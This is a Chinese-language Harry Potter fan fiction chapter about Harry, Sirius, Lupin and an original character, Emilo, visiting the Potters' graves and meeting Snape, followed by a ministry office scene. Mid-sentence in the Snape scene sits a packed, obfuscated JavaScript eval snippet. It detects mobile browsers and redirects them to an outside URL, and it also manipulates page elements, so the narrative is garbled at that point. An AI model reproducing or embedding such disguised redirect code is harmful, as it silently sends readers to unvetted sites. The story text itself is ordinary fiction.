“不要走神了,小子!”佩妮姨妈尖利的声音刺破了哈利的思绪。她没好气地用指关节重重敲了敲他面前的碗。碗里盛着一坨鹰嘴豆泥,混合了蘑菇酱和肉酱,跟旁边达利吃的一模一样。 佩妮不明白,为什么吃同样的东西,她妹妹莉莉留下的这个“小孩儿”还是瘦得像根豆芽菜,跟她的宝贝达达小宝贝那圆润健壮的体型天差地别。 “体重依旧没涨,”她皱着鼻子,对着空气愤愤地嘀咕,声音不大不小,刚好能让哈利听见,“让你那该死的、神出鬼没的教父看见,又要疑神疑鬼,以为我亏待了你……” 想到那个高大、眼神锐利的男人,佩妮心里就一阵发紧,夹杂着厌恶和一丝不易察觉的恐惧。她用力甩了甩抹布,仿佛要甩掉这令人不快的联想。 “别跑!”她猛地提高音量,对着那个已经滑下椅子、像只小鼹鼠一样试图溜走的小身影吼道,“回来把牛奶喝完!一滴都不许剩!” 哈利飞快地转身,抓起杯子,憋着气咕咚咕咚两口灌了下去,温热的液体滑过喉咙。他抹了抹嘴,顾不上嘴角残留的奶渍,噔噔噔地跑上了楼,木质楼梯在他脚下发出急促的呻吟。刚到楼梯口,一只胖乎乎的手就伸出来,精准地拽住了他的胳膊,把他拖进了自己的房间。 “我的新遥控车!它滚到床底下最里面了,我够不着!”达利喘着粗气,指着那张堆满零食包装和漫画书的床铺下方,胖脸上满是担忧,“快,帮我拿出来。” 他搓了搓手,请求道。 哈利抱着细瘦的手臂,小下巴微微扬起,碧绿的眼睛里闪烁着不满。“你昨天还对皮尔说我是怪物,不要以为我没听见,”他清晰地指出,声音带着孩子气的倔强,“还说怪物碰过的东西会变臭。” 达利的胖脸扭曲了一下,闪过一丝尴尬和恼怒,但显然玩具车的诱惑力更大。他笨拙地双手合十,做出一个滑稽的“拜托”姿势,眼神却急切地瞟向门口,生怕被父母听见动静。“哦……对不起,对不起嘛!快点,哈利,趁我爸爸妈妈还没发现!” 哈利撅了撅嘴,小脸上写满了不情愿。他太了解这个表哥了,道歉像呼吸一样随意,转头就能忘。但莱姆斯叔叔对他说过,要助人为乐。最终,他还是叹了口气,认命地趴在了冰冷的地板上,把小脸和半边身子都探进了幽暗的床底,伸长了细细的手臂。指尖什么也碰不到。 哈利拿出手,屏住呼吸,集中精神——就像他偶尔不小心做到的那样——心里只有一个强烈的念头:过来! 仿佛被一根无形的线猛地一拽,那辆红色的遥控赛车“咻”地一下,顺从地从灰尘和阴影里滑了出来,稳稳停在他手边。 达利一把抢过车子,检查了一下,脸上露出满意的笑容。但他没有立刻跑开,反而用一种混合着好奇和一丝不易察觉的敬畏眼神,上下打量着从地上爬起来的哈利。他舔了舔嘴唇,胖乎乎的身体凑近了些,压低声音,带着一种分享秘密的兴奋:“喂,哈利……今天是你教父来接你去看莉莉姨妈,对吧?你……你能让他再表演一次那个吗?就上次那个!” 达利的反应让哈利心里偷偷乐开了花,一种奇异的满足感抵消了刚才的不快。 “哪个?”哈利明知故问,努力让自己的声音听起来很平淡,但微微上扬的嘴角泄露了他的得意。 “就是变成动物!那条大黑狗!然后再‘砰’一下变回人!酷毙了!我还想再看一次!”达利的眼睛瞪得溜圆,充满了毫不掩饰的渴望。 哈利学着大人的样子,故意拖长了调子,显得高深莫测:“再说吧……也有可能今天是卢平叔叔来接我。” “那更好了!”达利兴奋地差点跳起来,那个总是看起来很温和的叔叔,每次来都会带一大袋神奇的零食!想到滋滋蜜蜂糖、巧克力蛙、比比多味豆……口水都快流出来了。 打发走达利,哈利立刻回到了自己的房间,没有达利那件大,但是也很温暖舒适。他再次爬上了窗台,小小的身体紧紧贴在玻璃上,呼出的热气在冰冷的窗面凝结成一团小小的白雾。窗外,雪还在不紧不慢地下着,洁白的雪地像一块巨大的、等待书写的画布。时间仿佛被这雪冻住了,每一秒都拉得格外漫长。他小小的心里充满了焦灼的期待,碧绿的眼睛一瞬不瞬地搜索着空旷的街道,心脏在小小的胸腔里咚咚地跳着。 太阳挣扎着爬升,将苍白的光线洒在雪地上。就在哈利觉得脖子都酸了的时候,他看见了!门前那片平整的雪地上,毫无征兆地,凭空出现了一串深深的脚印!它们朝着德思礼家的门口走来。 “大脚板!——”哈利兴奋地尖叫起来,推开了窗户。小天狼星·布莱克,他的教父!他最喜欢的人! 教父告诉过他,因为一些“麻烦事”,他现在不能光明正大地露面,在外面也不能大声喊他的名字“小天狼星”,所以用了这个秘密代号——“大脚板”。那是他爸爸詹姆当年给他起的绰号。每次听到哈利这样喊他,教父的眼睛里总会闪过复杂而温暖的光。 “哈利!”一个带着笑意的、熟悉的声音仿佛就在窗下响起,紧接着,一双有力的手臂凭空出现在半空中,张开怀抱,“我来接你了!跳下来——” 没有丝毫犹豫,哈利毫不犹豫地站上了窗台,凛冽的风夹着雪花灌了进来。他像一只离巢的小鸟,毫不犹豫地从二楼的窗口纵身跃下!风声在耳边呼啸,失重感只持续了一瞬,他就落入了一个坚实、温暖、带着烟草和冒险气息的怀抱里,被一双强壮的手臂稳稳接住。 “唔!接住你了,我的小勇士!”小天狼星低沉的笑声在他头顶响起。哈利立刻感觉到一件冰凉丝滑的东西罩在了他身上——隐形衣。小天狼星熟练地挥动魔杖,将它缩小到刚好裹住哈利小小的身体。接着,他放下哈利,自己则在一阵令人惊讶的变形中,迅速缩小、拉伸,毛发覆盖——眨眼间,原地出现了一条巨大、油光水滑的黑色大狗,体型壮硕得几乎像一头矫健的黑熊。 哈利欢呼一声,手脚并用地爬上去,紧紧搂住大狗温暖而毛茸茸的脖子,把冻得冰凉的小脸埋进厚实的皮毛里,深深吸了一口气,那是属于自由和家人的、令人安心的味道。 “我想你了……”哈利的声音闷闷的,带着浓浓的依恋。 大黑狗转过头,用湿漉漉的鼻子温柔地蹭了蹭哈利冰凉的小脸,喉咙里发出低沉而愉悦的咕噜声:“唔……汪!”(我也是,哈利!) 小天狼星驮着哈利,迈着轻快有力的步伐跑向不远处的街口。风雪中,莱姆斯·卢平站在那里等着他们,脸上带着一贯温和的笑容。哈利注意到他旁边还站着一个人,正斜倚在小天狼星那辆造型拉风的飞天摩托车的驾驶位上。那人身材高挑,一条长腿随意地支在地上。他穿着一件剪裁精良的风衣,灰蓝色的眼睛穿透了风雪,落在他们的身上。 “莱姆斯!”哈利迫不及待地掀开隐形衣的兜帽,露出乱糟糟的黑发和兴奋的小脸,对着狼人叔叔绽开一个大大的笑容,“你好!” “早上好,哈利。”莱姆斯走上前,眼中带着暖意,习惯性地伸手揉了揉哈利那永远支楞着、怎么都压不服帖的小黑毛。动作轻柔而充满疼爱。“冻坏了吧?我给你施一个保温咒……” 他话还没说完,哈利的小脑袋已经灵活地转向另一边,碧绿的大眼睛一眨不眨地、带着毫不掩饰的好奇和探究,紧紧盯着驾驶位上那个灰蓝色眼睛的男人。 “我想我认识你是谁。” 他的语气带着一种孩童特有的、近乎武断的肯定。 男人微微挑眉,抱着手臂,灰蓝色的眼眸饶有兴致地与莱姆斯对视了一眼。然后,他微微倾身,动作自然而流畅,伸手将哈利掀开的隐形衣兜帽重新拉好,严严实实地盖住他的头发和半张小脸,声音低沉而平稳,带着一丝不易察觉的笑意:“哦?好吧,那么,聪明的小先生,你倒说说看,我是谁呢?” “你是康奈利·福吉。”哈利毫不犹豫地、斩钉截铁地宣布道。他对这个叔叔早有印象,虽然他们从未正式交谈过一句话。 每年这一天,小天狼星都会带他来戈德里克山谷祭奠詹姆和莉莉。好几次,当他们抵达时,这位穿着体面、看起来还很年轻的叔叔已经静静地站在冰冷的墓碑前了。他身边时常还跟着另一个男人——总是穿着漆黑、长及脚踝的袍子,面色苍白,神情冷峻,像一只沉默的巨大黑蝙蝠。那个“黑蝙蝠”给哈利留下了同样深刻的印象,因为他似乎只会在莉莉的墓碑前放上一束洁白的百合,眼神复杂而悲伤,却总是不看他爸爸的墓碑一眼,仿佛那上面有什么他讨厌的东西。 前几年,每当哈利想上前打招呼或者询问时,莱姆斯都会及时地拉住他的手,对他轻轻摇头,示意他不要打扰那沉浸在各自哀思中的两人。哈利会看到,等“黑蝙蝠”带着一身寒意和沉重的悲伤默默离开后,小天狼星才会(以大脚板的形态)跑过去,安静地蹲在那个“福吉”叔叔旁边。 哈利总觉得那时的教父有些……尴尬?或者说是不自在?所以他才会选择用阿尼玛格斯形态出现,仿佛这样就能避开某些复杂的人类情绪。 然后,那位“福吉”叔叔就会蹲下身,轻轻地、抚摸大黑狗毛茸茸的头颈。一人一狗,在空旷寂静、只有风雪声的山谷里,就那么静静地待上一会儿。那画面,在年幼的哈利眼中,竟有种说不出的和谐与默契,又有些他现在还理解不了的情绪。 “我们为什么不上前?”哈利曾不止一次困惑地问莱姆斯,“小天狼星为什么不跟他说话?为什么要等刚才那个黑蝙蝠一样的人走了他才过去?” 莱姆斯总是露出那种略带苦涩和无奈的笑容,轻轻拍拍哈利的肩膀:“大人有时候有自己的相处模式,哈利,很复杂。也许等你长大些,自然就懂了。” 但哈利依旧牢牢记住了那两个人的样子。那个“黑蝙蝠”依然是个谜,但这位常和教父一起出现在墓地的叔叔,哈利后来在小天狼星给他订的《预言家日报》上看到了他的照片——他站在闪光灯前略带冷淡的回头,头上顶着“魔法部部长康奈利·福吉”的字样!看,他果然没认错! “是的,”哈利看着眼前这个灰蓝眼睛的男人,对自己的判断无比笃定,小脸因为兴奋和“破案”的成就感而微微发红,“你就是康奈利·福吉!我在报纸上看见你好多次了!” 话音刚落,一阵压抑不住的笑声在风雪中爆发开来。莱姆斯猛地侧过头,肩膀可疑地耸动着,发出低低的、被呛到似的咳嗽声。连蹲在地上的大黑狗都咧开了嘴,喉咙里发出“呼哧呼哧”的、忍俊不禁的喘息,尾巴在地上扫来扫去。而那位被指认为福吉的叔叔本人,先是愣了一下,随即灰蓝色的眼睛里也迅速盈满了浓得化不开的笑意,他微微低头,发出一声短促而低沉的笑声。 哈利愣住了,小脸瞬间垮了下来,碧绿的眼睛里充满了困惑和一丝受伤的窘迫。难道……他认错人了?这不可能啊!报纸上的照片明明一模一样!他郁闷地看着三个笑得东倒西歪的大人(和一条大狗),小小的自尊心受到了打击。 “是的,”那位叔叔率先止住了笑意,他清了清嗓子,微微颔首,嘴角勾起一个近乎完美的、政客式的弧度,声音平稳而肯定:“你说得对极了,哈利。我就是康奈利·福吉。很高兴……终于正式认识你。” 他伸出手,轻轻握了握哈利裹在隐形衣下、显得有些茫然的小手。 站在一旁的莱姆斯闻言,猛地转过头,用一种极其古怪、充满了无声控诉和强烈好笑意味的眼神,直直地瞪向那个自称“福吉”的男人。 小天狼星的飞天摩托座位很宽大。巨大的黑狗稳稳地蹲伏在摩托车前端。自称“福吉”的叔叔长腿一跨,坐在了驾驶位上。莱姆斯则跨坐在后座。哈利被安排坐在两人中间,小小的身体正好被夹在温暖之中。他伸出胳膊,紧紧地抱住了前面“福吉”叔叔有些瘦的腰身,把脸埋在他厚实的斗篷里,那上面传来一股清冽好闻的味道,像雪后森林里的冷杉木,干净又沉稳。 摩托车引擎发出低沉的咆哮,稳稳地离开了地面,冲入铅灰色的天空。哈利注意到,“福吉叔叔”虽然看起来很四平八稳,但是开车开的非常……风驰电掣。 高空的风寒冷刺骨,即使有隐形衣,哈利还是感到寒意侵袭。他下意识地把脸更深地埋进前面那带着冷杉木香气的衣料里,转移注意力,瓮声瓮气地问身后的卢平:“莱姆斯,你们刚才去做什么了?是和福吉叔叔一起吗?” “嗯,我们去了一趟古灵阁……”莱姆斯的声音从后面传来,被风吹得有些模糊,“办理一些店铺的手续……嗯,店是这位埃米洛叔叔的。他前两天给我们写信,问我们这两个无所事事的大闲人,谁愿意帮帮他,顺便找点正经活计干干……” 他的语气带着点调侃的意味。 “哇!对角巷的商店!”哈利的眼睛瞬间亮了起来,暂时忘记了寒冷,猛地抬起头,声音充满了向往,“我之后能去看看么?……等等,”他突然捕捉到一个关键的名字,小脑袋疑惑地转向前面开车的“福吉”叔叔,又扭过去看看卢平,“埃米洛?……谁是埃米洛?” 呼啸的风声中,飞天摩托上陷入了一片突如其来的、令人心悸的寂静。只有引擎的轰鸣和雪花扑打在隐形衣上的细微声响。哈利能感觉到,被他抱着的腰身似乎僵硬了一瞬,身后莱姆斯的呼吸也停顿了。 几秒钟诡异的沉默后,哈利猛地反应过来了!小脸因为被欺骗的愤怒和恍然大悟瞬间涨得通红。 “你!”他难以置信地瞪着前面男人的后背,又猛地扭头看向莱姆斯,最后目光落回前面,声音拔高,充满了被愚弄的委屈和指控: “你们骗我!!!” ------ 戈德里克山谷的冬日带着湿冷的寒意。今年的雪吝啬地避开了这片区域,只有连绵的阴雨刚刚停歇。空气清冽得刺鼻,混合着泥土的腥气和一种奇异的、倔强的清香——那是被雨水反复冲刷、已经泛黄枯萎的草地,在腐烂边缘挣扎着释放出的最后生机。湿漉漉的枯草匍匐在地,像一层褪色的绒毯,踩上去发出沉闷的吱呀声,每一步都留下清晰的印痕。 他们四人——埃米洛、莱姆斯、化身大黑狗的小天狼星,以及裹在隐形衣里只露出小脑袋的哈利——像往年一样走向那片静谧的墓地。远远地,那个熟悉的身影便撞入了眼帘。一身漆黑的长袍,像凝固的夜色,衬得他本就苍白的皮肤几近透明。西弗勒斯·斯内普,如同一只栖息在墓碑上的巨大蝙蝠,沉默地矗立在莉莉·波特的墓前。当他们走近到一定距离时,他微微侧过脸,冰冷的目光精准地扫过他们。那薄薄的、几乎没有血色的唇角,极其缓慢地向上扯动了一下,形成一个毫不掩饰、充满讥诮和厌恶的冷笑。带着对眼前组合——尤其是那条大黑狗和它驮着的绿眼睛男孩——深入骨髓的轻蔑。 “汪!”小天狼星立刻从喉咙深处发出一声低沉而充满敌意的低吼,颈部的黑毛微微炸起。若不是顾及背上的哈利,他恐怕会直接扑上去。 莱姆斯无奈地叹了口气,抬起手腕看了看表:“西弗勒斯在等你,”他低声对身边的埃米洛说,“不然往年这个时间,他已经离开了。” “嗯。”埃米洛简单地应了一声,仿佛没看见斯内普的冷笑和小天狼星的敌意。他向前迈了两步,却又忽然停下,回头看向正紧张地揪着大狗皮毛的哈利。他脸上浮现出一个极浅、极淡,几乎难以捕捉的笑容,带着一种奇异的、有些恶作剧的邀请意味:“一起去么,哈利?顺便给你介绍一下,这位是你未来的魔药学教授。” 哈利的小脸瞬间皱成了一团,碧绿的大眼睛里充满了犹豫和不安。他本能地看向自己最信任的教父。小天狼星的反应极其激烈,他立刻扭过头,用温热的鼻尖蹭了蹭哈利冰凉的小手,同时用牙齿轻轻叼住了哈利隐形衣的衣角,喉咙里发出警告般的呜呜声,尾巴焦躁地扫着地面——别去,哈利!离那个老蝙蝠远点! “那太好了,快去吧,哈利。”莱姆斯几乎是立刻便弯下腰,动作轻柔但坚定地将哈利的衣角从小天狼星的利齿间解救出来。 他安抚地拍了拍小天狼星巨大的狗头,又对哈利露出一个鼓励的微笑,然后比了个“噤声”的手势,示意小天狼星稍安勿躁。卢平的手轻轻搭在哈利小小的肩背上,将他往前轻轻推了推,交到埃米洛伸出的手掌中。 哈利的心脏怦怦直跳,下意识地紧紧抓住了埃米洛几根修长的手指。那只手干燥而稳定,带着一种奇特的安抚力量。他亦步亦趋地跟着埃米洛,小小的身体几乎完全缩在埃米洛高大身影的阴影里,只探出半个小脑袋,怀里紧紧抱着那束准备献给父母的白色百合。他感觉到那个黑衣男人的目光像冰冷的针,刺得他浑身不自在。 “西弗勒斯。”埃米洛在他面前停下,声音平和。 “我说了,叫我斯内普。”黑衣男人猛地转过身,对埃米洛熟稔的称呼表现出强烈的、积压已久的不满。他漆黑的眼睛锐利如刀,先是在埃米洛脸上停留了一瞬,随即才带着十二万分的不情愿和某种深沉的厌恶,缓缓地、居高临下地向下移动。 他的视线,最终落定在那双怯生生、充满了好奇与畏惧、却无比熟悉的翠绿色眼眸上。哈利·波特,这个有着该死的波特的脸和莉莉眼睛的小救世主,此刻正像只受惊的小鹿般躲在埃米洛身后,只露出乱糟糟的黑发和那双让他灵魂都为之颤抖的眼睛。男孩怀里紧紧搂着的百合花,洁白得刺眼。 斯内普的眉头瞬间拧成了一个死结,下颚的线条绷得紧紧的,仿佛在极力忍耐着什么。 “斯内普教授,您好。”出乎意料地,是那个小小的声音先打破了僵局。哈利似乎被埃米洛的平静所感染,或者是在“未来教授”这个头衔下鼓起了一丝勇气。他克服了羞涩,甚至微微向前挪了半步,虽然身体依然紧贴着埃米洛的腿,但他努力挺直了小胸脯,用稚嫩但清晰的童音说道:“我是哈利·波特。”说完,他竟然还朝着眼前这个散发着寒气的男人,勇敢地伸出了自己小小的、干净的手掌。 西弗勒斯·斯内普的瞳孔猛地收缩了一下,那紧皱的眉头几乎要连成一片阴云。他看着那只伸过来的小手,仿佛那不是一只孩子的手,而是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148662|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条毒蛇。空气凝固了,只剩下冷风吹过枯草的沙沙声。时间仿佛被拉长,每一秒都无比煎熬。最终,他像是用尽了全身力气,才从紧咬的牙关里,极其勉强、极其生硬地挤出两个音节: “你……好。” 墓碑被打理得一尘不染,雨水冲刷过的石面在灰暗的天光下泛着冷冽的光泽。但埃米洛还是抬起了魔杖,动作优雅而精准地轻轻一挥。一道无形的魔力拂过墓碑表面,带走了根本看不出来的微尘,让它显得更加光洁肃穆。做完这一切,他沉默拉着哈利的手站在詹姆的墓碑前。 斯内普也沉默着,他的目光长久地、几乎贪婪地凝固在墓碑上莉莉的名字上,那里面翻涌着难以言喻的痛苦和追悔。哈利夹在两人之间,小小的身体被一种无形的、巨大而浓重的悲伤所笼罩。 这与莱姆斯叔叔和小天狼星教父来时完全不同。莱姆斯和教父会对着墓碑说很多很多话,讲哈利的趣事,讲自己的近况,讲笑话,有时还会带点酒……仿佛詹姆和莉莉从未离开。但此刻,埃米洛叔叔和斯内普教授之间只有一片死寂的、如有实质的哀伤。这沉默比任何话语都更沉重,压得哈利几乎喘不过气来。他能清晰地感觉到空气中弥漫着一种他无法完全理解,却本能感到心悸的沉痛。 一直到莱姆斯走过来,轻声提醒时间不早了,这令人窒息的静默才被打破。哈利如蒙大赦,立刻被重新变回大狗的小天狼星用鼻子拱了拱。小天狼星迫不及待地矮下身子,哈利熟练地爬上去,紧紧搂住教父温暖的脖子。大黑狗几乎是立刻迈开步子,驮着哈利,朝着不远处他和莱姆斯在戈德里克山谷的小屋方向,轻快地小跑而去。 确认那一人一狗的身影消失在视线尽头,并且莱姆斯也布下了隔音咒后,斯内普才开口: “挂坠盒被摧毁了。” 莱姆斯猛地吸了一口气,眼睛里瞬间爆发出难以置信的光芒:“怎么摧毁的?”他的声音因为激动而微微发颤。 “霍格沃茨有一只蛇怪——”斯内普几乎是咬牙切齿地说出这个词,脸上充满了荒谬和极度的厌恶,“——蛇怪!”他猛地拔高了声音,带着积压多年的愤怒和讥讽,“我从上学的时候就不相信那句鬼话!‘霍格沃茨是世界上最安全的地方’?简直是天大的笑话!” “邓布利多一个月前写信跟我提过这件事。”埃米洛接口道,“我帮他以‘安全检查’的名义,调了一批可靠的人手,搜索了一段时间那个传说中的密室……所以,”他看向斯内普,目光带着询问,“入口在哪里?” 斯内普的脸色瞬间黑得如同锅底,嘴唇抿成一条苍白的细线,仿佛说出那个地点本身都是一种耻辱。 “……二楼,废弃的女生盥洗室。” 一阵极其诡异的沉默笼罩了三位男士。莱姆斯的表情变得极其古怪,像是想笑又觉得场合不对,最终化为一声尴尬的咳嗽。埃米洛嘴角几不可察地抽动了一下。而斯内普本人,则是一副恨不得立刻给自己一个“一忘皆空”或者干脆原地消失的表情。 谁能想到,尊贵、强大、以精明冷酷著称的萨拉查·斯莱特林,竟然会把密室的入口设在……那种地方?这简直是对他本人和斯莱特林学院最大的讽刺! “不过……”莱姆斯·卢平长长地、如释重负地吁出一口气,仿佛卸下了千斤重担。他蹲下身,面对着墓碑上詹姆和莉莉的名字,声音温柔而充满了复杂的情绪,带着哽咽的痕迹,“……太好了。你们看见了吗?詹姆……莉莉……哈利安全了。他彻底安全了。”他伸出手,轻轻抚摸着冰冷的石碑,仿佛在触摸故友的灵魂。 “是啊,”斯内普在一旁冷冷地接口,声音恢复了惯常的刻薄和疏离,仿佛刚才的激动从未发生,“真是……‘太好了’。这意味着我明天就可以辞去这个该死的、令人作呕的教职了。我受够了那群愚蠢、吵闹、脑子里塞满鼻涕虫的小巨怪们!”他甩了甩袖子,仿佛要甩掉什么脏东西,但目光在掠过莉莉的名字时,那冰封的眼底深处,似乎还是掠过了一丝极其微弱的、难以言喻的释然。 ------ 另一边,小天狼星驮着哈利跑回了他们在戈德里克山谷那栋温暖的小屋。屋内壁炉烧得正旺,驱散了从墓地带来的阴冷湿气。哈利脱下隐形衣,立刻像只寻找热源的小动物般跑到壁炉前的地毯上坐下,伸出小手烤火,冻得有些发红的小脸在跳跃的火光映照下渐渐恢复了血色。 这间屋子的客厅有一整面墙被精心布置成了照片墙。这是哈利最喜欢的地方,远胜过外面那片肃穆的墓地。在这里,他能看到鲜活的、会动的爸爸妈妈。照片里的詹姆·波特永远顶着一头和他一样乱糟糟的黑发,搂着笑容灿烂如阳光的莉莉,朝镜头做着鬼脸,或者骑着扫帚飞过相框。哈利每次来都会对着照片打招呼。 “爸爸!妈妈!”他仰着小脸,对着墙上的照片欢快地喊道。 照片里的詹姆立刻放下手中的金色飞贼,莉莉也停下了在相框里整理头发的动作,两人同时探出相框边框,脸上洋溢着无比幸福和宠溺的笑容,对着地上的小哈利用力挥手。詹姆还夸张地做了个拥抱的动作。 小天狼星变回人形,带着温暖的笑意走过来。他弯下腰,轻松地将哈利抱起,然后把他稳稳地放在自己宽阔的肩膀上,让小家伙能看得更高、更清楚。 哈利坐在教父的肩膀上,视野一下子开阔了许多。他好奇地打量着更高处的照片,突然发现一个问题。他用柔软的小手捧住小天狼星的脸颊,让他转向照片墙:“教父,为什么没有今天刚认识的那两个叔叔的照片?埃米洛叔叔和……斯内普教授?” 小天狼星眼神闪烁了一下,随即指向照片墙一个略高的角落:“哦,埃米洛啊……他在这里。”他的手指点着一张有些泛黄的老照片。“他那里应该也有,那时候我们都还很小,大概十二三岁吧,我记得你爷爷奶奶给我们照过……这张是我们毕业的时候的大合照。那时候……哎。” 他叹了一口气,没有说下去。照片上的埃米洛有着同样灰蓝色的眼睛,长的和现在很像,但是要比现在瘦很多。和其他人对比起来显得锐利且沉默,虽然在笑,但感觉有些疲惫和紧绷。 “他在这里,”哈利用小手指着照片里那个灰蓝眼睛的少年,又移动手指,“你在这里……爸爸……莱姆斯叔叔……”他的手指停在了照片边缘一个矮小、头发稀疏、笑得有些怯懦的男孩身上,“……这是谁?” “彼得·佩迪鲁。”小天狼星的语气瞬间低沉下来,眼神变得复杂而阴郁。他迅速移开了目光,不想让年幼的教子过早接触那些背叛和死亡的黑暗。“……一个……过去的朋友。”他含糊地带过,生硬地转移了话题,“至于斯内普……哼,那个老蝙蝠?他的照片可不会出现在这堵墙上。这上面几乎都是格兰芬多。” “不过……你想的话,我倒是可以让你雷古勒斯叔叔去问问。老蝙蝠说不定真的有和你妈妈一起的照片,只是藏得严严实实,不想拿出来给别人看罢了。” 两人在温暖的、充满回忆的房间里,一个坐在另一个的肩膀上,对着照片墙上那些定格的笑脸,一个个辨认着哈利不认识的人。小天狼星讲述着那些久远的、或欢乐或糗事连连的往事,试图驱散墓地带回的阴霾。房间里充满了壁炉的噼啪声和教父子俩低低的交谈声。 突然,哈利感觉额头上那道闪电形的伤疤毫无征兆地传来一阵尖锐的刺痛。 “哎呀!”他低呼一声,下意识地抬手捂住了额头。 几乎同时,一阵冰冷的穿堂风猛地灌入房间,吹得窗帘翻飞。哈利不由自主地打了个寒噤,响亮地打了个喷嚏。 “怎么了?!”小天狼星立刻警觉,迅速而小心翼翼地将哈利从肩膀上抱下来,放在地上。他快步走到窗边,用力关紧了被风吹开的窗户,隔绝了外面的寒意。他蹲下身,大手覆上哈利的额头,又仔细查看他的小脸,深灰色的眼眸里充满了毫不掩饰的担忧:“是不是感冒了?还有哪里难受吗?鼻子?喉咙?”他紧张地连声问道。 头还疼了一下。哈利本能地想告诉教父伤疤刚才那奇怪的刺痛。但看着小天狼星布满担忧的脸庞,想到今天自己似乎总是惹出些“麻烦”,又想到墓园里那种沉重的气氛,他犹豫了。小小的心里升起一股不想再给教父添麻烦的情绪。他把目光投向被随意搭在沙发上的隐形衣,感觉自己好像总是那个需要被特别照顾的、容易出状况的小孩。 “没有了没有了,”哈利连忙摆摆手,努力挤出一个小小的笑容,试图让教父安心,“就是打了个喷嚏嘛!”他主动伸出手,接过了小天狼星递过来的一小瓶冒着紫色蒸汽的魔药(预防感冒的提神药剂)。他捏着鼻子,勇敢地一口灌了下去。立刻,一股热流从胃里升起,他感觉自己的头顶和耳朵开始“噗噗”地冒出大团大团白色的蒸汽,像一列微型的小火车。 这滑稽的景象瞬间冲散了刚才的担忧和一丝莫名的寒意。小天狼星看着哈利顶着满头蒸汽、一脸懵懂又努力憋着不咳嗽的样子,忍不住哈哈大笑起来。哈利看着教父开怀的笑容,也忘记了刚才那瞬间的刺痛和不安,跟着咯咯地笑了起来。温暖的小屋里,再次充满了轻松的笑声,暂时将外面世界的寒冷和那些过去隔绝开来。 34.康奈利福吉 “这一批实习傲罗是谁给过的?”埃米洛在魔法部傲罗训练场的石壁旁,手指夹着一份羊皮纸卷轴,皱着眉翻看新秘书马法尔达·霍普柯克递上的考核表格:“这个德立士……为什么他的防御魔咒这里打了不及格,但是最后通过了?还有这个人……他的跟踪成绩很差。” 年轻的小秘书霍普柯克刚从禁止滥用魔法办公室调过来,此刻大气也不敢喘,只觉得新上司周身散发的低气压比训练场的防护咒还令人窒息。她绞着手指,声音细若蚊呐:“这……这一批是福吉部长亲自给过的……” “打回去。”埃米洛的羽毛笔没有丝毫犹豫,在几份表格上落下醒目的的红色叉号。“跟他们说,魔法部不会辞退他们,但他们需要跟着明年的实习傲罗继续一起考核。这一批人不要给转正,工资继续按照实习傲罗发。” “可……可是福吉部长那边……”霍普柯克的声音带着颤音,几乎要哭出来。 “所以才说‘暂不辞退’,而不是直接让他们收拾东西离开。”埃米洛终于从表格上抬起眼,“如果福吉部长那里有异议,你让他来直接来找我谈。” “好…好的,司长!”霍普柯克如蒙大赦,抱着那叠被“判刑”的文件飞快点头,转身小跑离开。跑出十几步,她还是没忍住回头瞥了一眼。训练场变幻的光影勾勒对方挺拔的侧影——才25岁的法律执行司司长。修身剪裁的棕色条纹西装衬得他肩线利落,白衬衫领口一丝不苟,侧面的轮廓感兼具了锋利与秀气……新上司在魔法部的风评褒贬不一,关于他火箭般的升迁、克劳奇嫡系又背叛的传言、与纯血和凤凰社的暧昧关系……对于霍普柯克来说,这些暗流汹涌的八卦,此刻都被上司处理文件时那股近乎无情的专注力压了下去。她现在就是觉得上司是个效率高,不爱讲废话的冰山美男子。 埃米洛对秘书的心思毫无所觉,他的眉头依旧紧锁,指尖划过那些训练记录。随着神秘人彻底败亡,残党日渐式微,康奈利·福吉似乎被现在的和平蒙蔽了双眼,开始轻信卢修斯·马尔福的花言巧语,对亚克斯利家族等纯血势力的渗透也睁一只眼闭一只眼。 这些被他打回去的“不及格品”,几乎清一色都带着那几个家族精心包装过的推荐信。权力的天平在微妙倾斜,年前福吉对他升职司长还满是嘉许,如今却隐隐透出审视与疏离。邓布利多那句沉甸甸的告诫——“权力使人异化”——浮现在他脑海。 一只小巧的纸飞机灵巧地绕过飞舞的魔咒,精准地停在他面前。展开,是伯莎熟悉的、带着点潦草劲儿的字迹:“饭点啦!老地方,速来!——伯莎 & 阿米莉亚。” 他暂时放弃了琢磨福吉。埃米洛快步走下空旷的螺旋楼梯间,脚步声在石壁间清脆回响。推开门,员工食堂的喧嚣扑面而来。他径直走向家养小精灵服务的窗口要了一份全熟牛排。然后熟练地为自己冲泡了一杯黑咖啡,照例不加糖,不加奶。 他端着餐盘走向靠窗的固定座位,阿米莉亚坐姿笔挺,正吃着盘子里的蛋糕,伯莎则东瞧西瞧,然后朝着他的方向挥手示意。 “这什么味道?”埃米洛刚坐下就敏锐地嗅了嗅空气,挑眉看向正用叉子卷着奶油意面的伯莎,“你上班时间喝酒?”他的眼睛里带着一丝促狭的审视。 “我在巴蒂·克劳奇手下工作我敢么?!是昨晚!我室友庆祝我恢复单身!”伯莎夸张地翻了个白眼,叉子在空中挥舞了一下,“你什么狗鼻子,这都能闻出来?我明明特意换了衣服!” “说明你没洗头。”阿米莉亚耸耸肩,语气平淡地抛出结论,同时往自己嘴里舀了一勺番茄炖牛腩。 “啊啊啊啊我要杀了你们!”伯莎瞬间炸毛,银亮的餐刀带着玩笑的威胁架在了埃米洛的脖颈上,引来邻桌几个职员的侧目。 埃米洛和阿米莉亚交换了一个无奈又了然的眼神。伯莎和布德罗里克从年初就陷入无休止的冷战,导火索是“差劲的婆婆”。这种涉及朋友私密情感的话题,无论是埃米洛骨子里的克制疏离,还是阿米莉亚一贯的务实干练,都让他们选择了沉默,只是安静地充当着倾听者的角色。 “我现在严重怀疑,克劳奇那个办公室绝对风水有问题!或者被下了什么诅咒!”伯莎收回刀子,戳着盘子里的食物,开始了她标志性的“克劳奇受害者联盟”演说,手指依次点过。 